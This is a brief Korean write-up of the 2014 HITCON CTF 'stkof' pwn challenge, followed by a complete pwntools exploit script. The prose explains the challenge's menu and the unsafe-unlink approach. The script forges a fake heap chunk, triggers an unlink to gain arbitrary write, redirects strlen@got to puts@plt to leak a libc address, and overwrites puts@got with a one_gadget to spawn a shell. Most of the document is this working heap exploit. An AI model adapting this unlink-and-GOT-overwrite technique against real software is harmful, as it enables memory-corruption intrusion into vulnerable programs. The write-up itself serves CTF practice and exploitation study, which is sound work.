2014 HITCON CTF stkof

  • unsafe unlink
  • heap overflow
  • bss manage

1번 메뉴에서 원하는 사이즈만큼 힙에 할당하고 전역변수에 청크주소를 저장한다. 2번 메뉴에서는 원하는 사이즈만큼 청크내용을 수정할 수 있다. 3번 메뉴는 청크를 프리해주고 0으로 초기화해준다. 4번 메뉴는 별거 없다.

fake chunk를 구성해줘서 fd는 target - 24 bk는 target - 16에 맞춰주고 다음 청크의 prev_size와 size를 맞춰주고 size는 PREV_INUSE bit를 없애준다. 그리고 edit을 이용해서 strlen@got -> puts@plt(puts@got) 로 맞춰서 leak해주고 one_gadget으로 got를 덮어주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./stkof')
p = process('./stkof')
libc = e.libc
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
cnt = 0x0000000000602100
chunk = 0x0000000000602150

def add(size):
	sl('1')
	sl(str(size))
	p.recvuntil('OK\n')

def edit(idx,size,content):
	sl('2')
	sl(str(idx))
	sl(str(size))
	s(content)

def free(idx):
	sl('3')
	sl(str(idx))

def leak(idx):
	sl('4')
	sl(str(idx))

add(0x80)
add(0x80)
add(0x80)

fakechunk1 = p64(0) # prev_size 
fakechunk1 += p64(0) # size
fakechunk1 += p64(chunk - 24) # fd
fakechunk1 += p64(chunk - 16) # bk
fakechunk1 += p64(0) * 12
fakechunk1 += p64(0x80) # prev_size
fakechunk1 += p64(0x90) # size
edit(2,len(fakechunk1),fakechunk1)

free(3) # unlink

payload = 'A'*0x18
payload += p64(e.got['strlen']) # strlen -> puts
payload += p64(e.got['puts'])
edit(2,len(payload),payload)
edit(2,8,p64(e.plt['puts']))
# strlen@got -> puts@plt(puts@got)

leak(3)
puts = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.info(hex(puts))
libc_base = puts - libc.symbols['puts']
log.info(hex(libc_base))
oneshot = libc_base + 0x45216
pause()
edit(3,8,p64(oneshot))
# puts@got -> one_gadget


p.interactive()